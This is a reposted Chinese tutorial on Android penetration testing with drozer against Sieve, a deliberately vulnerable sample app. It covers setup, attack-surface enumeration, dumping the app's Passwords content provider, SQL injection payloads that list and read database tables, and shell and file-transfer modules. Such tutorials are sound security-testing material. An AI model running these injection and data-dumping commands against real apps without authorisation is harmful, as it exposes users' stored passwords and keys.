利用drozer進行Android滲透測試

來源:互聯網
上載者:User

標籤:android   style   blog   http   color   使用   io   檔案   

一、安裝與啟動1. 安裝 

第一步:從http://mwr.to/drozer下載Drozer (Windows Installer) 

第二步:在Android裝置中安裝agent.apk

adb install agent.apk

2. 啟動

第一步:在PC上使用adb進行連接埠轉寄,轉寄到Drozer使用的連接埠31415

adb forward tcp:31415 tcp:31415

第二步:在Android裝置上開啟Drozer Agent

選擇embedded server-enable

第三步:在PC上開啟Drozer console

drozer console connect 

二、測試步驟

1.擷取包名
dz> run app.package.list -f sievecom.mwr.example.sieve

2.擷取應用的基本資料

run app.package.info -a com.mwr.example.sieve

3.確定攻擊面

run app.package.attacksurface com.mwr.example.sieve

4.Activity

(1)擷取activity資訊

run app.activity.info -a com.mwr.example.sieve

(2)啟動activity

run app.activity.start --component com.mwr.example.sievedz> help app.activity.startusage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY][--component PACKAGE COMPONENT] [--data-uri DATA_URI][--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]][--mimetype MIMETYPE]

5.Content Provider

(1)擷取Content Provider資訊

run app.provider.info -a com.mwr.example.sieve

(2)Content Providers(資料泄露)

先擷取所有可以訪問的Uri: 

run scanner.provider.finduris -a com.mwr.example.sieve

擷取各個Uri的資料:

run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查詢到資料說明存在漏洞

(3)Content Providers(SQL注入)

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "‘"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "‘"

報錯則說明存在SQL注入。

列出所有表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table‘;--"

擷取某個表(如Key)中的資料:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

(4)同時檢測SQL注入和目錄遍曆

run scanner.provider.injection -a com.mwr.example.sieverun scanner.provider.traversal -a com.mwr.example.sieve

6.Service

(1)擷取service詳情

run app.service.info -a com.mwr.example.sieve

7.其它模組

shell.start 在裝置上開啟一個互動shelltools.file.upload / tools.file.download 上傳/下載檔案到裝置tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進位檔案

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.